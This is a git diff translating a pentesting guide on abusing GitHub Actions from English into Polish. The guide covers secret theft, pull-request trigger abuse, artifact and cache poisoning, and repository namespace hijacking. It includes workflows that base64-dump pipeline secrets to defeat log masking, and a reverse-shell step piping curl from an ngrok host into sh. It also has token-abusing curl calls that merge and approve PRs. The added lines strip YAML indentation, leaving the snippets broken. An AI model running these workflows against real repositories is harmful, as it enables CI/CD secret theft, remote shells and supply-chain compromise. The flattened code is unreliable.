b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,389 +4,371 @@ ## Basic Information -In this page you will find: +Na tej stronie znajdziesz: -- A **summary of all the impacts** of an attacker managing to access a Github Action -- Different ways to **get access to an action**: - - Having **permissions** to create the action - - Abusing **pull request** related triggers - - Abusing **other external access** techniques - - **Pivoting** from an already compromised repo -- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts) +- **podsumowanie wszystkich skutków** ataku, gdy napastnik uzyska dostęp do Github Action +- Różne sposoby na **uzyskanie dostępu do akcji**: +- Posiadanie **uprawnień** do tworzenia akcji +- Wykorzystywanie wyzwalaczy związanych z **pull request** +- Wykorzystywanie **innych technik zewnętrznego dostępu** +- **Pivoting** z już skompromitowanego repozytorium +- Na koniec sekcja o **technikach poeksploatacyjnych do wykorzystywania akcji od wewnątrz** (powodujących wspomniane skutki) ## Impacts Summary -For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +Aby uzyskać wprowadzenie do [**Github Actions sprawdź podstawowe informacje**](../basic-github-information.md#github-actions). -If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to: +Jeśli możesz **wykonywać dowolny kod w GitHub Actions** w ramach **repozytorium**, możesz być w stanie: -- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP. -- **Compromise deployments** and other **artifacts**. - - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack. -- **Execute code in custom workers** to abuse computing power and pivot to other systems. -- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`. +- **Kraść sekrety** zamontowane w pipeline i **wykorzystywać uprawnienia pipeline** do uzyskania nieautoryzowanego dostępu do zewnętrznych platform, takich jak AWS i GCP. +- **Kompromitować wdrożenia** i inne **artefakty**. +- Jeśli pipeline wdraża lub przechowuje zasoby, możesz zmienić końcowy produkt, umożliwiając atak na łańcuch dostaw. +- **Wykonywać kod w niestandardowych pracownikach** w celu wykorzystania mocy obliczeniowej i pivotowania do innych systemów. +- **Nadpisywać kod repozytorium**, w zależności od uprawnień związanych z `GITHUB_TOKEN`. ## GITHUB_TOKEN -This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option: +Ten "**sekret**" (pochodzący z `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) jest przyznawany, gdy administrator włączy tę opcję:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Ten token jest tym samym, który **aplikacja Github będzie używać**, więc może uzyskać dostęp do tych samych punktów końcowych: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github powinien wydać [**przepływ**](https://github.com/github/roadmap/issues/74), który **pozwala na dostęp między repozytoriami** w GitHub, aby repozytorium mogło uzyskać dostęp do innych wewnętrznych repozytoriów za pomocą `GITHUB_TOKEN`. -You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Możesz zobaczyć możliwe **uprawnienia** tego tokena w: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Note that the token **expires after the job has completed**.\ -These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Zauważ, że token **wygasa po zakończeniu zadania**.\ +Te tokeny wyglądają tak: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Some interesting things you can do with this token: +Kilka interesujących rzeczy, które możesz zrobić z tym tokenem: {{#tabs }} {{#tab name="Merge PR" }} - ```bash # Merge PR curl -X PUT \ - https://api.github.com/repos///pulls//merge \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header "content-type: application/json" \ - -d "{\"commit_title\":\"commit_title\"}" +https://api.github.com/repos///pulls//merge \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header "content-type: application/json" \ +-d "{\"commit_title\":\"commit_title\"}" ``` - {{#endtab }} -{{#tab name="Approve PR" }} - +{{#tab name="Zatwierdź PR" }} ```bash # Approve a PR curl -X POST \ - https://api.github.com/repos///pulls//reviews \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - -d '{"event":"APPROVE"}' +https://api.github.com/repos///pulls//reviews \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +-d '{"event":"APPROVE"}' ``` - {{#endtab }} -{{#tab name="Create PR" }} - +{{#tab name="Utwórz PR" }} ```bash # Create a PR curl -X POST \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - https://api.github.com/repos///pulls \ - -d '{"head":"","base":"master", "title":"title"}' +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +https://api.github.com/repos///pulls \ +-d '{"head":"","base":"master", "title":"title"}' ``` - {{#endtab }} {{#endtabs }} -> [!CAUTION] -> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization. +> [!OSTRZEŻENIE] +> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretach**. Te tokeny mogą dać ci więcej uprawnień do repozytorium i organizacji.
-List secrets in Github Action output - +Lista sekretów w wyjściu Github Action ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +Uzyskaj powłokę odwrotną z sekretami ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions: +Możliwe jest sprawdzenie uprawnień nadanych tokenowi Github w repozytoriach innych użytkowników **sprawdzając logi** akcji:
-## Allowed Execution +## Dozwolone Wykonanie > [!NOTE] -> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**. +> To byłby najłatwiejszy sposób na kompromitację akcji Github, ponieważ ten przypadek zakłada, że masz dostęp do **utworzenia nowego repozytorium w organizacji** lub masz **uprawnienia do zapisu w repozytorium**. > -> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action). +> Jeśli jesteś w tym scenariuszu, możesz po prostu sprawdzić [techniki po eksploatacji](./#post-exploitation-techniques-from-inside-an-action). -### Execution from Repo Creation +### Wykonanie z Utworzenia Repozytorium -In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**. +W przypadku, gdy członkowie organizacji mogą **tworzyć nowe repozytoria** i możesz wykonywać akcje github, możesz **utworzyć nowe repozytorium i ukraść sekrety ustawione na poziomie organizacji**. -### Execution from a New Branch +### Wykonanie z Nowej Gałęzi -If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called). - -You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be): +Jeśli możesz **utworzyć nową gałąź w repozytorium, które już zawiera skonfigurowaną akcję Github**, możesz ją **zmodyfikować**, **załadować** zawartość, a następnie **wykonać tę akcję z nowej gałęzi**. W ten sposób możesz **wyeksfiltrować sekrety na poziomie repozytorium i organizacji** (ale musisz wiedzieć, jak się nazywają). +Możesz uczynić zmodyfikowaną akcję wykonalną **ręcznie**, gdy **zostanie utworzony PR** lub gdy **zostanie przesłany jakiś kod** (w zależności od tego, jak głośny chcesz być): ```yaml on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - master - push: # Run it when a push is made to a branch - branches: - - current_branch_name +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- master +push: # Run it when a push is made to a branch +branches: +- current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches ``` - --- -## Forked Execution +## Forkowane Wykonanie > [!NOTE] -> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them. +> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **wykonanie Github Action z innego repozytorium**. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je skompromitować. ### `pull_request` -The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow: +Wyzwalacz workflow **`pull_request`** wykona workflow za każdym razem, gdy otrzymany zostanie pull request, z pewnymi wyjątkami: domyślnie, jeśli to jest **pierwszy raz**, gdy **współpracujesz**, niektórzy **utrzymujący** będą musieli **zatwierdzić** **wykonanie** workflow:
> [!NOTE] -> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**. +> Ponieważ **domyślne ograniczenie** dotyczy **pierwszych** współpracowników, możesz przyczynić się do **naprawy ważnego błędu/ortografii**, a następnie wysłać **inne PR-y, aby nadużyć swoich nowych uprawnień `pull_request`**. > -> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ +> **Testowałem to i to nie działa**: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunięcie jego konta.~~ -Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Ponadto, domyślnie **zapobiega uprawnieniom do zapisu** i **dostępowi do sekretów** w docelowym repozytorium, jak wspomniano w [**dokumentacji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. +> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera**, gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**. -An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations. +Atakujący mógłby zmodyfikować definicję Github Action, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń. > [!CAUTION] -> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!** +> **Tak, jeśli atakujący zmieni w PR github action, która zostanie wyzwolona, jego Github Action będzie używana, a nie ta z repozytorium źródłowego!** -As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**. +Ponieważ atakujący również kontroluje kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu na `GITHUB_TOKEN`, atakujący mógłby na przykład **przesłać złośliwe artefakty**. ### **`pull_request_target`** -The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission). +Wyzwalacz workflow **`pull_request_target`** ma **uprawnienia do zapisu** w docelowym repozytorium i **dostęp do sekretów** (i nie prosi o pozwolenie). -Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Zauważ, że wyzwalacz workflow **`pull_request_target`** **działa w kontekście bazowym** i nie w tym podanym przez PR (aby **nie wykonywać nieufnego kodu**). Aby uzyskać więcej informacji na temat `pull_request_target`, [**sprawdź dokumentację**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Ponadto, aby uzyskać więcej informacji na temat tego konkretnego niebezpiecznego użycia, sprawdź ten [**post na blogu githuba**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**. +Może się wydawać, że ponieważ **wykonywany workflow** jest tym zdefiniowanym w **bazie** i **nie w PR**, jest **bezpieczne** używanie **`pull_request_target`**, ale istnieje **kilka przypadków, w których tak nie jest**. -An this one will have **access to secrets**. +A ten będzie miał **dostęp do sekretów**. ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. - -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: +Wyzwalacz [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) pozwala na uruchomienie workflow z innego, gdy jest `ukończony`, `zażądany` lub `w trakcie`. +W tym przykładzie workflow jest skonfigurowany do uruchomienia po zakończeniu oddzielnego workflow "Uruchom testy": ```yaml on: - workflow_run: - workflows: [Run Tests] - types: - - completed +workflow_run: +workflows: [Run Tests] +types: +- completed ``` +Moreover, according to the docs: Workflow uruchomiony przez zdarzenie `workflow_run` ma możliwość **dostępu do sekretów i zapisywania tokenów, nawet jeśli poprzedni workflow nie miał**. -Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. - -This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ -The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +Tego rodzaju workflow może być zaatakowany, jeśli **zależy** od **workflow**, który może być **wyzwolony** przez zewnętrznego użytkownika za pomocą **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można [**znaleźć w tym blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Pierwszy z nich polega na tym, że **`workflow_run`** wyzwolony workflow pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}`\ +Drugi polega na **przekazywaniu** **artefaktu** z **niezaufanego** kodu do workflow **`workflow_run`** i używaniu zawartości tego artefaktu w sposób, który czyni go **podatnym na RCE**. ### `workflow_call` TODO -TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +TODO: Sprawdź, czy podczas wykonywania z `pull_request` używany/pobierany kod pochodzi z oryginału czy z forka PR -## Abusing Forked Execution +## Wykorzystywanie Wykonania Forków -We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: +Wspomnieliśmy o wszystkich sposobach, w jakie zewnętrzny atakujący mógłby sprawić, by workflow githuba został uruchomiony, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być wykorzystywane: -### Untrusted checkout execution +### Wykonanie niezaufanego checkoutu -In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request). +W przypadku **`pull_request`** workflow będzie wykonywany w **kontekście PR** (więc wykona **złośliwy kod PR**), ale ktoś musi **najpierw to autoryzować** i będzie działał z pewnymi [ograniczeniami](./#pull_request). -In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. +W przypadku workflow używającego **`pull_request_target` lub `workflow_run`**, który zależy od workflow, który może być wyzwolony z **`pull_request_target` lub `pull_request`**, kod z oryginalnego repozytorium zostanie wykonany, więc **atakujący nie może kontrolować wykonanego kodu**. > [!CAUTION] -> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): +> Jednak jeśli **akcja** ma **wyraźny checkout PR**, który **pobierze kod z PR** (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie kod PR jest pobierany):
# INSECURE. Provided as an example only.
 on:
-  pull_request_target
+pull_request_target
 
 jobs:
-  build:
-    name: Build and test
-    runs-on: ubuntu-latest
-    steps:
+build:
+name: Build and test
+runs-on: ubuntu-latest
+steps:
     - uses: actions/checkout@v2
       with:
         ref: ${{ github.event.pull_request.head.sha }}
 
-    - uses: actions/setup-node@v1
-    - run: |
-        npm install
-        npm build
+- uses: actions/setup-node@v1
+- run: |
+npm install
+npm build
 
-    - uses: completely/fakeaction@v2
-      with:
-        arg1: ${{ secrets.supersecret }}
+- uses: completely/fakeaction@v2
+with:
+arg1: ${{ secrets.supersecret }}
 
-    - uses: fakerepo/comment-on-pr@v1
-      with:
-        message: |
-          Thank you!
+- uses: fakerepo/comment-on-pr@v1
+with:
+message: |
+Thank you!
 
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. +Potencjalnie **niezaufany kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty budujące i odwołane **pakiety są kontrolowane przez autora PR**. > [!WARNING] -> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). +> Github dork do wyszukiwania podatnych akcji to: `event.pull_request pull_request_target extension:yml`, jednak istnieją różne sposoby konfigurowania zadań, aby były wykonywane bezpiecznie, nawet jeśli akcja jest skonfigurowana niebezpiecznie (jak używanie warunków dotyczących tego, kto jest aktorem generującym PR). -### Context Script Injections +### Wstrzyknięcia Skryptów w Kontekście -Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** +Zauważ, że istnieją pewne [**konteksty githuba**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli akcja githuba używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **wykonania dowolnego kodu:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Script Injection** +### **Wstrzyknięcie Skryptu GITHUB_ENV** -From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +Z dokumentacji: Możesz udostępnić **zmienną środowiskową dla wszystkich kolejnych kroków** w zadaniu workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją w pliku środowiskowym **`GITHUB_ENV`**. -If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. +Jeśli atakujący mógłby **wstrzyknąć dowolną wartość** do tej **zmiennej env**, mógłby wstrzyknąć zmienne env, które mogłyby wykonać kod w kolejnych krokach, takie jak **LD_PRELOAD** lub **NODE_OPTIONS**. -For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: +Na przykład ([**to**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**to**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), wyobraź sobie workflow, który ufa przesłanemu artefaktowi, aby przechować jego zawartość w zmiennej env **`GITHUB_ENV`**. Atakujący mógłby przesłać coś takiego, aby to skompromitować:
-### Vulnerable Third Party Github Actions +### Podatne Akcje Githuba Trzeciej Strony #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. +Jak wspomniano w [**tym poście na blogu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ta Akcja Githuba pozwala na dostęp do artefaktów z różnych workflow, a nawet repozytoriów. -The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact. - -Example of vulnerable workflow: +Problem polega na tym, że jeśli parametr **`path`** nie jest ustawiony, artefakt jest wyodrębniany w bieżącym katalogu i może nadpisywać pliki, które mogą być później używane lub nawet wykonywane w workflow. Dlatego, jeśli artefakt jest podatny, atakujący mógłby to wykorzystać, aby skompromitować inne workflow ufające artefaktowi. +Przykład podatnego workflow: ```yaml on: - workflow_run: - workflows: ["some workflow"] - types: - - completed +workflow_run: +workflows: ["some workflow"] +types: +- completed jobs: - success: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - name: download artifact - uses: dawidd6/action-download-artifact - with: - workflow: ${{ github.event.workflow_run.workflow_id }} - name: artifact - - run: python ./script.py - with: - name: artifact - path: ./script.py +success: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@v2 +- name: download artifact +uses: dawidd6/action-download-artifact +with: +workflow: ${{ github.event.workflow_run.workflow_id }} +name: artifact +- run: python ./script.py +with: +name: artifact +path: ./script.py ``` - -This could be attacked with this workflow: - +To można zaatakować za pomocą tego przepływu pracy: ```yaml name: "some workflow" on: pull_request jobs: - upload: - runs-on: ubuntu-latest - steps: - - run: echo "print('exploited')" > ./script.py - - uses actions/upload-artifact@v2 - with: - name: artifact - path: ./script.py +upload: +runs-on: ubuntu-latest +steps: +- run: echo "print('exploited')" > ./script.py +- uses actions/upload-artifact@v2 +with: +name: artifact +path: ./script.py ``` - --- -## Other External Access +## Inny dostęp zewnętrzny -### Deleted Namespace Repo Hijacking +### Przejęcie usuniętego repozytorium namespace -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +Jeśli konto zmieni swoją nazwę, inny użytkownik może zarejestrować konto o tej samej nazwie po pewnym czasie. Jeśli repozytorium miało **mniej niż 100 gwiazdek przed zmianą nazwy**, Github pozwoli nowemu zarejestrowanemu użytkownikowi o tej samej nazwie na utworzenie **repozytorium o tej samej nazwie** co usunięte. > [!CAUTION] -> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. +> Jeśli akcja korzysta z repozytorium z nieistniejącego konta, nadal istnieje możliwość, że atakujący może utworzyć to konto i skompromitować akcję. -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Jeśli inne repozytoria korzystały z **zależności z repozytoriów tego użytkownika**, atakujący będzie mógł je przejąć. Oto bardziej szczegółowe wyjaśnienie: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- -## Repo Pivoting +## Przełączanie repozytoriów > [!NOTE] -> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section). +> W tej sekcji omówimy techniki, które pozwolą na **przełączenie z jednego repozytorium do drugiego**, zakładając, że mamy jakiś rodzaj dostępu do pierwszego (sprawdź poprzednią sekcję). -### Cache Poisoning +### Zatrucie pamięci podręcznej -A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +Pamięć podręczna jest utrzymywana między **uruchomieniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprmituje** **pakiet**, który następnie jest przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprmitować** ten workflow. {{#ref}} gh-actions-cache-poisoning.md {{#endref}} -### Artifact Poisoning +### Zatrucie artefaktów -Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: +Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**. Jeśli atakujący zdoła **skomprmitować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprmitować inne workflow**: {{#ref}} gh-actions-artifact-poisoning.md @@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md --- -## Post Exploitation from an Action +## Po eksploatacji z akcji -### Accessing AWS and GCP via OIDC +### Uzyskiwanie dostępu do AWS i GCP za pomocą OIDC -Check the following pages: +Sprawdź następujące strony: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -408,170 +390,160 @@ Check the following pages: ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Accessing secrets +### Uzyskiwanie dostępu do sekretów -If you are injecting content into a script it's interesting to know how you can access secrets: +Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak możesz uzyskać dostęp do sekretów: -- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**. +- Jeśli sekret lub token jest ustawiony jako **zmienna środowiskowa**, można go bezpośrednio uzyskać przez środowisko, używając **`printenv`**.
-List secrets in Github Action output - +Lista sekretów w wyjściu Github Action ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - '**' - push: # Run it when a push is made to a branch - branches: - - '**' +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- '**' +push: # Run it when a push is made to a branch +branches: +- '**' jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
